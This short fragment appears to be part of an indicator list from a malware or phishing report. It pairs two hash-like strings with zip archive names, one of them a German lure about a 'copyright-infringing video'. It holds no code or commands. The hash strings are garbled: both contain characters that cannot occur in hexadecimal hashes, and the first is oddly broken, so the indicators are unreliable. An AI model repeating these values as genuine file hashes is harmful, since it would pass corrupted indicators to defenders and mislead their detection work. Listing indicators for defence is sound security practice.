e2c8eaf77dca9ed188f1226109e9052ba0e58d1b9c45d922cbfOf3d00611eas56 -
Urheberrechtsverletzendes_Video_Nummer_11502.zip

EcfOf68e8cd4683f0bb0el1b575ee2c31ff559abcea8823c54d86fc4b36fd83f - Creation_Luma.zip
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